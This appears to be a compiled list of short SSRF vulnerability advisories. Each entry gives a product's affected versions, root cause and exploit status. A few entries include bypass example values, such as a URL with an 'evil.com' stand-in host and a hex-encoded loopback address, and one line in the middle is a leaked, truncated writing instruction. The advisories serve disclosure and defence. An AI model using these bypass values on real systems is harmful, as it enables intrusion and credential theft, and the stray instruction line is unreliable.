Server-side request forgery in CTI-Transmute's evaluation report PDF-generation pipeline allows an attacker who can inject content into a CTI evaluation report to coerce the application server into fetching arbitrary internal or filesystem resources. The vulnerability arises because user-controlled fields - conversion names, descriptions, and comments - flow through a Markdown-to-HTML conversion and are then rendered to PDF by WeasyPrint with its default unrestricted URL-fetching behavior intact, meaning crafted file:// or http(s):// references embedded in that content are fetched by the server process at render time. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog, but a patch commit is available from the MISP project.
Server-side request forgery in Budibase's REST datasource integration exposes internal cloud infrastructure to authenticated Builder-role users in all versions prior to 3.38.1. The flaw allows a Builder to configure a REST datasource pointing to an attacker-controlled external server, which then responds with an HTTP redirect to a blocked internal IP - the redirect target is never re-validated against the platform's IP blacklist, granting access to cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254) and other internal services. No public exploit code or active exploitation has been identified at time of analysis, but the technique is well-documented in SSRF research and requires only a Builder account, which is routinely granted in collaborative low-code environments.
Server-side request forgery in Thumbor prior to 7.8.0 allows unauthenticated remote attackers to bypass the ALLOWED_SOURCES hostname allowlist - the service's primary SSRF defense - and cause Thumbor to fetch images from arbitrary hosts, including internal network resources. The bypass exploits Python's regex engine treating unescaped dots as wildcards: an allowlist entry of 's.glbimg.com' silently matches attacker-controlled hostnames like 'sXglbimgYcom'. Because ALLOW_UNSAFE_URL defaults to True and all official documentation examples use plain-string patterns, the preconditions for exploitation match the default deployment profile. No public KEV listing, but a vendor-confirmed proof-of-concept is embedded in GitHub security advisory GHSA-6x26-6r6f-m537.
Server-side request forgery in bank-vaults vault-secrets-webhook (<= 1.22.2) lets a low-privileged tenant with ConfigMap or Secret create/update rights in any watched namespace force the cluster-wide admission webhook to make attacker-controlled outbound HTTP requests and exfiltrate ServiceAccount JWTs. The webhook trusts the vault.security.banzaicloud.io/vault-addr annotation with no scheme validation or host allowlist, then synchronously mints a SA token (via cluster-wide serviceaccounts/token:create) and POSTs it to the attacker's address, which can be replayed against the real Vault. A vendor patch (v1.23.1) exists and the reporter published a working PoC, but there is no public exploit identified in the wild and the flaw is not in CISA KEV.
Server-side request forgery bypass in the dssrf npm SSRF-protection library (versions <= 1.0.4) allows internal resource access when Node.js is configured with an external DNS resolver such as 1.1.1.1. The is_url_safe() function relies solely on dns.resolve4 and dns.resolve6 to check whether a hostname resolves to an internal IP; when an external resolver returns NXDOMAIN for 'localhost' (which it cannot authoritatively answer), no addresses are returned and no fallback to dns.lookup occurs, causing the library to incorrectly classify localhost as safe. publicly available exploit code exists, demonstrated via a published proof-of-concept in the GitHub advisory GHSA-5846-7qm3-r52j.
DNS rebinding defeats `nltk.pathsec.urlopen()`'s SSRF filter in NLTK 3.9.4 and earlier, allowing unauthenticated remote attackers to reach loopback addresses, private networks, and cloud instance metadata endpoints - even with `ENFORCE = True` - and receive full, non-blind HTTP responses. The root cause is a TOCTOU gap: validation resolves the hostname once, but `urllib` independently re-resolves it at connect time via a separate `getaddrinfo` call, connecting to whatever the attacker's TTL-0 rebinding record returns on the second lookup. A working proof-of-concept is publicly available in the GHSA advisory, and the `lru_cache` annotation on `_resolve_hostname` creates a false assurance that rebinding is already mitigated, meaning operators who adopted this boundary believe themselves protected when they are not.
Security filter bypass in fast-uri (before versions 4.1.2, 3.1.5, and 2.4.4) enables unauthenticated remote attackers to circumvent host-based access controls - including SSRF filters, allowlists, and redirect validators - by submitting URLs that use backslash-based authority introducers. The parser inconsistency between fast-uri and Node.js's native WHATWG URL handler causes the same crafted URL to resolve to different hosts in each parser, allowing attackers to steer downstream requests to unintended destinations. No public exploit is identified at time of analysis and this CVE does not appear in CISA KEV, though the CVSS 7.5 High rating with AV:N/AC:L/PR:N/UI:N reflects straightforward remote exploitability wherever the vulnerable application pattern exists.
Server-Side Request Forgery in Google mcp-toolbox versions 0.3.0 through 1.4.0 lets remote attackers coerce the toolbox into making unauthorized requests to internal or arbitrary endpoints by supplying a crafted path parameter that triggers an open redirect or destination swap on the backend. Because the HTTP client in internal/sources/http/http.go was initialized without a CheckRedirect policy or target-IP validation, baseline parameter sanitization is bypassed once the server follows the redirect. There is no public exploit identified at time of analysis (CVSS 4.0 carries E:U, Exploit Unproven), and the flaw is notably reachable via malicious data-driven LLM prompts, not just direct attacker input.
Server-side request forgery and local file inclusion in Leantime 3.6.2 lets authenticated attackers coerce the server into reading attacker-chosen resources by feeding unsanitized filenames to file_get_contents() inside the Blueprints::import() method. Because the JSON-RPC import endpoint accepts PHP URL wrappers and path-traversal sequences, a low-privileged user with project CREATE rights can pivot to cloud metadata endpoints (e.g. 169.254.169.254) or exfiltrate arbitrary files from the host filesystem. Publicly available exploit code exists (VulnCheck advisory and a GitHub security advisory PoC), though there is no public exploit identified as being actively exploited in the wild.
SSRF filter bypass in the dssrf npm library (versions <= 1.0.3) lets attackers defeat the is_url_safe() guard by prefixing a URL with a userinfo component (e.g. http://evil.com@127.0.0.1/). Because remove_at_symbol_in_string() strips the '@' from the raw string before new URL() parses it, the hostname is corrupted into a non-resolving string that passes all internal-IP checks, while an HTTP client fed the original URL still connects to the internal host. Publicly available exploit code exists (working PoC using nock/got in the advisory), though there is no evidence of active exploitation; this vector was missed by the earlier GHSA-8p33-q827-ghj5 fix.
Server-side request forgery in Kanboard 1.2.52 and earlier lets authenticated users pivot into internal networks by encoding target IP addresses in hexadecimal notation, which slips past the application's SSRF allow-list check. Because the isPrivateURL() filter in app/Core/Http/Client.php relies on FILTER_VALIDATE_IP - which rejects non-dotted-decimal formats - a hex-encoded address like 0x7f000001 is deemed 'not a private IP' and forwarded to cURL, which happily resolves and connects to it. Publicly available exploit code exists (a proof-of-concept gist), though there is no public exploit identified as being used in active attacks; EPSS was not provided.
Server-side request forgery in the kyegomez Swarms multi-agent framework (all versions through 6.8.1) lets remote unauthenticated attackers coerce the server into fetching attacker-chosen internal endpoints. The flaw lives in the _is_safe_url blocklist check, which validates the literal hostname but never re-checks the address returned by DNS resolution - so a hostname that resolves to a private, loopback, or cloud-metadata address slips past the filter. Supplied as an image or audio URL to an agent, this can be abused to reach internal services and exfiltrate cloud credentials. Reported by VulnCheck; no public exploit identified at time of analysis, and it is not listed in CISA KEV.
Cross-site request forgery in IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 enables server-side request forgery with elevated privileges when the collectiveController-1.0 feature is active. An attacker who lures an authenticated Liberty administrator to a malicious web page can trigger forged requests that the server executes with the victim's elevated privileges, allowing the attacker to reach internal services ordinarily inaccessible from the network perimeter. No public exploit code exists and no confirmed active exploitation is recorded, though the SSVC framework rates the technical impact as total should exploitation occur.
Service-account token disclosure in the Red Hat OpenShift koku-metrics-operator lets a user with edit rights on the CostManagementMetricsConfig custom resource redirect metrics uploads to an attacker-controlled URL, to which the operator blindly attaches its own Kubernetes bearer token. This CWE-918 server-side request forgery (tagged SSRF/Kubernetes/Red Hat) yields the operator's service-account credentials, enabling in-cluster privilege escalation. Reported by Red Hat with a CVSS 3.1 base of 7.6 (scope-changed); no public exploit identified at time of analysis and it is not in CISA KEV.
Server-side request forgery in the Eclipse CSI PIA `POST /v1/upload/sbom` endpoint lets remote attackers coerce the server into connecting to an arbitrary host, port, and scheme of their choosing. By exploiting a parser-differential between Python's `urlparse` (used for the issuer allowlist check) and `requests`/`urllib3`/`urllib` (used for OIDC discovery and JWKS retrieval), an attacker crafts a JWT `iss` claim containing a backslash that passes validation but resolves to a different host during the actual fetch. The `iss` claim is only checked in its unverified form, so no legitimate token is needed; no public exploit has been identified at time of analysis and the issue is not listed in CISA KEV.
Server-side request forgery in Flyto Core (flytohub/flyto-core) prior to 2.26.7 lets a low-privileged workflow author coerce the server into fetching attacker-supplied URLs across a broad set of HTTP-emitting modules - http.get/post, GraphQL query/mutation, monitor.http_check, Slack/Discord/Teams notifications, ai.vision_analyze, browser.proxy_rotate, and the agent/LLM base_url branch - because these callers bypassed the existing validate_url_with_env_config SSRF guard. An authenticated attacker can pivot to internal-only services and cloud metadata endpoints (e.g. 169.254.169.254), yielding high-confidence disclosure of internal data and credentials. There is no public exploit identified at time of analysis, but the upstream fixing commit is public, and no EPSS or CISA KEV data was supplied.
Unauthenticated SSRF and secret exfiltration in Flyto Core (flytohub/flyto-core) prior to 2.26.7 lets remote attackers coerce the standalone flyto-verification service into making attacker-directed outbound requests. The service listens on 0.0.0.0:8344 with no authentication and accepts a client-supplied callback_url, then issues an outbound POST carrying the X-Internal-Key: $FLYTO_RUNNER_SECRET header while skipping the target_allowed allowlist, so an attacker can both reach internal-only endpoints and steal the runner secret. Rated CVSS 9.3 (scope-changed). No public exploit identified at time of analysis and it is not listed in CISA KEV, but the fix and root cause are fully documented in the vendor GHSA advisory and patch commit.
Sensitive credential exposure in Flyto Core (flytohub/flyto-core) prior to 2.26.6 lets a remote actor exfiltrate the operator's LLM provider API keys: the llm.chat/ai_model path reads OPENAI_API_KEY and ANTHROPIC_API_KEY from the host environment and forwards them verbatim in an Authorization: Bearer header to a caller-controlled base_url. By supplying a public endpoint that satisfies the existing SSRF guard, an attacker collects the key on their own host. There is no public exploit identified at time of analysis and no CISA KEV listing; the flaw is fixed in 2.26.6, which adds an env-derived-credential endpoint check.
Server-Side Request Forgery in HashiCorp's consul-mcp-server 0.1.0 through 0.1.3 lets a connected client override the server's configured Consul backend address through an untrusted request header, redirecting the server's Consul API calls to an attacker-controlled endpoint and exfiltrating the privileged Consul token held by the server. The flaw carries a CVSS 8.6 (scope-changed, high confidentiality impact) and is fixed in 0.1.4; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Server-side request forgery in Flyto Core (flyto-core), an execution kernel for automation and AI-agent workflows, allows a low-privileged user who supplies a URL to the http.get, http.request, or http.batch modules to reach internal-only services. Prior to 2.26.7 these modules validated only the initial URL and then followed HTTP redirects (allow_redirects=True) without revalidating each Location hop, so a permitted public URL can 302-redirect into internal address space and return the internal response body to the caller. There is no public exploit identified at time of analysis, but the fix is confirmed in release 2.26.7.
Server-side request forgery in IBM WebSphere Application Server (traditional 9.0 and 8.5) and WebSphere Application Server Liberty (17.0.0.3 through 26.0.0.8) lets remote unauthenticated attackers coerce the server into issuing arbitrary requests when the SIP container feature (sipServlet-1.1) is enabled. The flaw carries a CVSS 9.8 rating with total technical impact, and IBM has released a fix (advisory node/7281721); no public exploit is identified at time of analysis and EPSS exploitation probability is low at 0.33%.
Server-side request forgery allowlist bypass in the V programming language standard library (net.urllib / net.http) through version 0.5.2 lets remote unauthenticated attackers reach internal network services that a host-based allowlist was meant to block. The flaw stems from a parser differential: net.urllib.parse() and net.http.get() disagree on how a backslash in a URL's authority is handled, so validation and connection resolve to different hosts. Publicly available exploit code exists and the issue was reported by VulnCheck, though it is not listed in CISA KEV (no public evidence of active exploitation at time of analysis).
Server-side request forgery in Prebid Server (Go) versions before 4.4.0 lets remote unauthenticated attackers coerce the ad server into making HTTP requests to attacker-chosen destinations. Multiple bidder adapters (e.g. acuityads, adhese, bidmachine) interpolate an unvalidated user-supplied 'host'/'account' bid-request parameter directly into outbound URLs, enabling extraction of host-environment data and access to internal network services. No public exploit identified at time of analysis, but the fix commit and GHSA advisory are public; EPSS was not provided.
Arbitrary file disclosure and Server-Side Request Forgery in veraPDF's validation-model module allow a remote attacker to read files off the validating host and force outbound requests by feeding it a crafted PDF. The flaw lives in DictionaryKeysHelper.getRichTextStringOrStreamEntryStringRepresentation(), which parses XHTML rich-text (/RC or /RV) annotation content with a default, unhardened DocumentBuilderFactory that resolves external entities and then reflects the expanded entity contents back into the validation report. All current releases of both the classic (org.verapdf:validation-model) and Jakarta (validation-model-jakarta) artifacts are affected; there is no public exploit identified at time of analysis and it is not listed in CISA KEV, though the vendor advisory (GHSA-3jh7-wm29-q568) describes exploitation as trivial.
Arbitrary file read and Server-Side Request Forgery in veraPDF-validation (and the validation-model-jakarta variant) let a remote attacker exfiltrate server files or reach internal services by submitting a crafted PDF whose XFA stream carries a malicious XML DOCTYPE. The insecure XML parser is reached automatically whenever a PDF is validated against the PDF/UA-1 profile, including via flavour auto-detection, so no operator action beyond normal validation is needed. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the vendor advisory (GHSA-36mm-w85j-3q2j) and a fixing patch are confirmed.
Credential exfiltration in swagger-typescript-api (npm, versions <= 13.12.1) allows a malicious OpenAPI spec to steal a developer's bearer token during code generation: when `--authorizationToken` is set, the generator attaches that token to the Authorization header of every request it makes while resolving external `$ref` URLs, with no same-origin check, so a `$ref` pointing at an attacker-controlled host receives the token verbatim. The stolen credential is typically high-value (GitHub PAT, OAuth bearer, CI service-account token) and its capture is equivalent to full account/scope takeover. A working proof-of-concept was supplied by the reporter (publicly available exploit code exists); it is not listed in CISA KEV and there is no evidence of active exploitation.
Server-Side Request Forgery amplification in Apache Traffic Server (versions 8.0.0-8.1.9, 9.0.0-9.2.14, and 10.0.0-10.1.3) allows remote attackers to bypass the configured redirect-follow limit when a plugin resets the internal retry counter, letting a single request fan out into a large chain of proxy-originated requests. The CVSS 4.0 base score is 8.2 (High), reflecting high impact on availability rather than data disclosure, with an attack requirement (AT:P) tied to specific plugin behavior. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Server-Side Request Forgery (SSRF) and open-proxy behavior in Apache Kyuubi's Engine UI proxy exposes the Kyuubi server as a request forwarder to arbitrary internal or external hosts. Versions 1.8.0 through 1.11.x accept an attacker-controlled host and port from the HTTP request path and blindly proxy the request to that destination, enabling network pivoting into otherwise unreachable services behind the Kyuubi server. No active exploitation has been confirmed in CISA KEV, and no public exploit code has been identified at time of analysis; however, the unauthenticated network vector and trivial exploitation conditions make this a credible internal reconnaissance risk in exposed deployments.
Arbitrary file disclosure and SSRF in the WP Media Folder Addon WordPress plugin (all versions through 4.1.6) let unauthenticated remote attackers read local files and coerce server-side requests via two AJAX handlers that fail to validate a user-supplied path parameter, but only on sites where a cloud-storage connection is configured. This is an incomplete-fix regression of CVE-2026-9690, which hardened only one cloud-storage handler and left the others exploitable. Publicly available exploit code exists (reported by WPScan); there is no public exploit identified as being used in active attacks and it is not listed in CISA KEV.
Server-side request forgery in datamodel-code-generator 0.9.1 through 0.60.x lets a malicious JSON Schema, OpenAPI, or GraphQL document cause the code generator to silently fetch attacker-chosen HTTP/HTTPS $ref URLs - including internal, loopback, and link-local addresses - and reflect the fetched content into the generated Python source. Exploitation requires the optional HTTP extra (pip install 'datamodel-code-generator[http]') and a developer or automated codegen/CI job to run datamodel-codegen against the tainted document; the default configuration (--allow-remote-refs unset) only emits a deprecation warning before fetching, and only an explicit --allow-remote-refs=false blocks the request. Publicly available exploit code exists (a Gist proof-of-concept), and EPSS is low at 0.21% (11th percentile), with no confirmed active exploitation (not in CISA KEV); fixed in 0.61.0.
Server-side request forgery in the `datamodel-code-generator` Python package (versions >= 0.9.1 and <= 0.60.2) allows an attacker who controls or influences a `--url` schema source to make the codegen host fetch arbitrary internal addresses - loopback, RFC1918, link-local `169.254.169.254` cloud metadata, and unique-local IPv6 - and have the response body reflected into the generated `.py` file as schema titles, property names, and `Field(description=...)` strings. The issue only affects installations that include the optional `[http]` extra; the fetcher applies no allow-list or IP/host validation and follows redirects unconditionally, with `text/html` rejection as its only filter, so non-HTML JSON/YAML endpoints (IAM credential metadata, internal admin APIs) pass through and leak into artifacts commonly committed to repositories or surfaced in CI output. Publicly available exploit code exists (a self-contained one-file PoC), but the flaw is not confirmed actively exploited (not in CISA KEV); EPSS is low at 0.21% (11th percentile), and the assessed vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N, 8.2) reflects high confidentiality impact tempered by required victim interaction and AC:H.
Server-side request forgery in HashiCorp terraform-mcp-server before 1.1.0 allows unauthenticated remote attackers to redirect Terraform API requests and steal server-side authorization tokens via the streamable-HTTP transport. The vulnerability, tracked as CVE-2026-14869, permits an attacker to control the destination of outbound requests, leading to token exposure. No public exploit or active exploitation has been reported at this time.
2-3 sentence plain-language summary ... Start with specific impact verb and product. e.g., 'Cross-origin sig
Server-side request forgery in the FormCraft WordPress plugin (versions <= 3.9.15) allows unauthenticated remote attackers to coerce the web server into making arbitrary requests to internal or external systems. This could enable scanning of internal networks, access to cloud metadata services, or interaction with backend applications, potentially leading to data exposure or further compromise. No public proof-of-concept or active exploitation has been reported at the time of analysis.
Server-side request forgery in Simple Link Directory Pro plugin versions up to 15.0.6 allows unauthenticated remote attackers to force the WordPress server to make arbitrary HTTP requests to internal or external systems, potentially exposing internal infrastructure and sensitive data. The vulnerability has a CVSS score of 7.2 with no user interaction required, but exploitation impact is limited to low confidentiality and integrity effects. No active exploitation or public exploit code is currently reported.
Server-side request forgery in Plack::App::Prerender before 0.3.0 allows unauthenticated remote attackers to proxy requests to arbitrary internal hosts by crafting a request URI starting with '@'. The application appends the raw REQUEST_URI to a plain string rewrite base without validating the path, enabling an attacker to change the destination authority and access restricted resources. No public exploit is known, and active exploitation has not been observed.
Unauthenticated server-side request forgery in the WordPress plugin '3D Flipbook PDF Viewer & Embedder' affects all versions up to and including 1.4.2, allowing any remote attacker to make the victim site's web server issue outbound HTTP requests to destinations of the attacker's choosing. Exploitation requires only that the plugin be installed and active and that its PDF-fetch/embed endpoint be reachable over the network; the CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N vector (7.2) confirms no credentials and no user interaction are needed, and the changed scope (S:C) reflects that the impact can extend to systems beyond the vulnerable plugin. No public exploit code has been identified at time of analysis, CISA KEV does not list this CVE, SSVC reports Exploitation: none, and EPSS is low at 0.19% (9th percentile), so the practical risk is moderate and driven mainly by the value of internal services or cloud metadata endpoints reachable from the WordPress host.
Server-side request forgery in Microsoft Purview Data Governance allows an unauthenticated remote attacker to elevate privileges across the network, with potential for full compromise. The vulnerability is rated CVSS 10.0 critical, but EPSS (0.92%) and SSVC indicate no known exploitation, suggesting low immediate risk despite high severity. A vendor patch is available.
Privilege elevation via server-side request forgery affects Microsoft Azure AI Search, allowing an already-authorized, low-privileged attacker to coerce the service into making crafted network requests to internal or restricted endpoints. By abusing this SSRF, an attacker can reach backend resources and metadata services normally unreachable from their privilege tier, resulting in high confidentiality, integrity, and availability impact (CVSS 8.8). No public exploit identified at time of analysis, and the EPSS score of 0.38% (31st percentile) alongside a CISA SSVC 'Exploitation: none' rating indicates no observed exploitation yet.
Server-side request forgery in 9Router before 0.4.72 lets an authenticated (PR:L) or locally-connected user abuse the /v1/web/fetch endpoint to make the server retrieve arbitrary internal URLs and return their content. Because the user-supplied url is only checked for syntactic validity via new URL() before being handed to an external scraping provider, an attacker can reach cloud metadata endpoints (169.254.169.254), link-local/private addresses, and localhost-only services, harvesting credentials and bypassing host-based auth. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the CVSS 4.0 base score of 8.3 reflects high confidentiality impact with a scope/subsequent-system change.
Server-Side Request Forgery in Johnson Controls CCure 9000 and the victor application server (versions 2.9 through 3.0) allows a high-privileged authenticated attacker to coerce the server into issuing crafted requests to internal or external systems. Exploitation can expose internal network resources and pivot into otherwise unreachable back-end services, with high confidentiality impact and a scope change that affects downstream systems. This is a vendor-reported (jci) issue with no public exploit identified at time of analysis and no CISA KEV listing.
Server-side request forgery in PHPOffice PhpSpreadsheet (>= 4.0.0 through 5.8.0, plus older branches back to 2.0.0) lets an attacker bypass the WEBSERVICE() domain whitelist introduced in 5.4.0 by chaining through an HTTP 302/301 redirect. Because the whitelist only validates the initial URL host while file_get_contents() silently follows redirects without re-validation, an attacker who can upload a crafted XLSX to an app that calls setDomainWhiteList() and getCalculatedValue() can pivot to internal-only targets and read the full HTTP response (up to 32,767 bytes) as a cell value. Publicly available exploit code exists (a full PoC and lab reproduction are in the GitHub advisory); no public exploit identified as actively used in the wild and it is not in CISA KEV.
Server-Side Request Forgery in the PeproDev Ultimate Invoice WordPress plugin (versions 2.2.6 and earlier) lets unauthenticated remote attackers coerce the WordPress server into issuing HTTP requests to attacker-chosen destinations. Because the CVSS vector marks a scope change (S:C), the forged requests can reach systems beyond the vulnerable plugin - notably internal network hosts and cloud metadata endpoints - with only low confidentiality and integrity impact. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the unauthenticated network-facing nature keeps it a meaningful patch priority for exposed WordPress sites.
Server-Side Request Forgery (SSRF) in Cache Cleaner Pro extension for Joomla 1.0.0-9.7.6 allows unauthenticated remote attackers to access internal or reserved network services via crafted custom query URLs. With a CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) the vulnerability is automatable and has total technical impact, though no public exploit or active exploitation has been detected. EPSS predicts a 0.18% likelihood of exploitation in the next 30 days.
Server-side request forgery in Regular Labs' Articles Anywhere Pro and Users Anywhere Pro extensions for Joomla allows unauthenticated attackers to access internal network services and write arbitrary files to web-accessible directories. The vulnerability stems from improper validation of content-controlled image URLs, which fetch and save remote responses without checking that they are images. No active exploitation or public exploit code has been reported, and EPSS indicates low exploitation probability.
Server-Side Request Forgery in the Vercel Next.js framework (versions 14.1.1 through 15.5.20 and 16.0.0 through 16.2.10) lets a remote attacker who controls Host-associated headers coerce a Server Action's forwarded or redirected request to an attacker-chosen host, and in some setups leak internal values that weaken middleware/proxy authorization. Exploitation is limited to deployments where the incoming Host header is not pinned to a trusted value - typically custom servers or setups not fronted by a host-pinning proxy. There is no public exploit identified at time of analysis, EPSS is low (0.62%, 46th percentile), and CISA SSVC rates exploitation as 'none' with partial technical impact.
Server-Side Request Forgery (SSRF) and open redirect in Next.js rewrite/redirect rules when the destination hostname is dynamically constructed from user-controlled input. Versions 12.0.0 to 15.5.20 and 16.0.0 to 16.2.10 are affected, allowing a remote attacker to proxy requests to arbitrary hosts or redirect users. Patched versions 15.5.21 and 16.2.11 are available; no active exploitation has been reported.
Server-side request forgery in Verba (Weaviate's open-source RAG application) version 2.1.3 lets unauthenticated attackers coerce the backend into issuing arbitrary HTTP GET requests to attacker-chosen URLs. By connecting to the unauthenticated /ws/import_files WebSocket endpoint and supplying a malicious URL in the HTMLReader configuration, an attacker can reach internal-only services such as co-located databases or cloud instance metadata endpoints to harvest credentials. No public exploit code has been identified at time of analysis, though a detailed technical disclosure exists; the CVSS 4.0 base score is 9.2 (Critical).
Server-side request forgery in Gitea ≤1.26.4 allows privileged users to bypass the platform's own hostmatcher SSRF defenses via three unprotected raw http.Get() code paths in the migration and OAuth avatar subsystems, enabling retrieval of cloud instance metadata (AWS IMDSv1, GCP tokens), local file read (e.g., app.ini with database credentials and JWT secrets), and internal network scanning. A detailed proof-of-concept exploit is publicly available in the GitHub Security Advisory GHSA-2wm4-vwp6-v7xc. EPSS is low at 0.16% (6th percentile), consistent with the privilege requirements limiting opportunistic exploitation, but the disclosed PoC and the sensitivity of reachable data elevate real-world risk for cloud-hosted deployments. No active exploitation is confirmed in CISA KEV at time of analysis.
Server-side request forgery in Weaviate's Verba (GoldenVerba) RAG application version 2.1.3 lets unauthenticated remote attackers coerce the server into issuing arbitrary outbound HTTP GET requests. The flaw stems from a same-origin middleware bypass: any Origin header prefixed with a single quote defeats the localhost origin check, after which attacker-supplied host and port values passed to the /api/connect endpoint are fetched by the server. No public exploit code exists, but a detailed VulnCheck advisory and a third-party technical write-up document the exact bypass; there is no CISA KEV listing and EPSS was not provided.
Server-side request forgery in Gitea before 1.27.0 lets attackers coerce the server into HTTP requests against internal hosts because its outbound IP allow-list classifier (IsGlobalUnicast && !IsPrivate) fails to block CGNAT (100.64.0.0/10) and nine IPv6 transition prefixes. An authenticated user can point a webhook or repo migration at an internal CGNAT service and read the full response (status, headers, and up to 1 MB body) rendered back on the hook detail page; separately, when OpenID sign-in is enabled the unauthenticated /user/login/openid discovery fetch uses http.DefaultClient with no IP filtering, giving anonymous internet callers a blind SSRF primitive. Publicly available exploit code exists (bundled run_poc.sh reproduces all three primitives), but no active exploitation is confirmed.
Server-side request forgery in Keep (keephq/keep) as of commit 91c75e0 lets unauthenticated attackers coerce the backend into issuing arbitrary outbound HTTP requests by POSTing a crafted host value to an unprotected providers healthcheck endpoint. Because the endpoint requires no authentication, a remote attacker can pivot into internal services and cloud metadata endpoints (e.g. 169.254.169.254) to steal cloud credentials and map internal networks. No public exploit identified at time of analysis, though the flaw was reported by VulnCheck and a corresponding GitHub issue is public; the CVSS 4.0 base score is 9.2 (Critical).
Server-side request forgery in the mcp-webresearch MCP server (version 0.1.7, package @mzxrai/mcp-webresearch) lets remote attackers reach internal-only network services by feeding loopback, link-local, or cloud metadata addresses to the visit_page tool. Because the tool validates only the URL scheme and never filters private or reserved IP ranges, an attacker who influences the LLM-controlled URL - typically via prompt injection - can drive the server's Playwright browser to endpoints like 169.254.169.254 and exfiltrate credentials and other sensitive internal content back into the model context. No public exploit identified at time of analysis, though a detailed technical write-up exists and the issue is disclosed by VulnCheck; there is no CISA KEV listing.
Server-side request forgery in InternLM lmdeploy's OpenAI-compatible vision API server lets unauthenticated remote attackers coerce the server into fetching internal-only resources by abusing the image_url media-fetch path. Because the URL safety check validates only the initial URL and does not re-validate targets after an HTTP 302 redirect, an attacker-hosted endpoint can redirect the fetch to loopback services or cloud instance-metadata endpoints, exposing internal services and potentially cloud credentials. No public exploit is identified at time of analysis, EPSS is low (0.28%), and a vendor fix adding a media-domain allowlist is available.
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authenticated user bypass the migration URL allow/block list by supplying a permitted public Git URL that HTTP-redirects the server's git subprocess to an otherwise-blocked internal endpoint. Because Gitea validates only the originally submitted URL while git runs with its default http.followRedirects=initial, the redirected internal Git repository is cloned into an attacker-controlled repository, and pull mirrors keep re-fetching it on schedule. No public exploit identified at time of analysis; a vendor-authored local proof-of-concept confirmed the redirect is followed to 127.0.0.1, and EPSS/KEV data were not supplied.
Server-Side Request Forgery in Apache Syncope lets a low-privileged authenticated user abuse the Connectors and Resources connectivity check to coerce the server into issuing arbitrary outbound requests. Affected builds span the 3.0.x, 4.0.x, and 4.1.x lines up to 3.0.16, 4.0.6, and 4.1.1 respectively, with high confidentiality and integrity impact per the CVSS 8.1 rating. There is no public exploit identified at time of analysis, and CISA SSVC scores exploitation as 'none,' but the total technical impact and low privilege bar make this a meaningful internal-network exposure.
Server-Side Request Forgery in the Kirki WordPress plugin before 6.0.12 allows unauthenticated attackers to coerce the server into issuing HTTP requests to arbitrary attacker-chosen hosts because a user-supplied URL is fetched server-side without validation. This is reachable remotely with no authentication or user interaction (CVSS 9.1), publicly available exploit code exists, and a vendor patch has shipped, but there is no public exploit identified as being used in active attacks (not in CISA KEV). Reported by WPScan (EUVD-2026-45889), the flaw is dangerous on WordPress sites hosted in cloud or internal-network environments where the request can pivot to metadata or intranet services.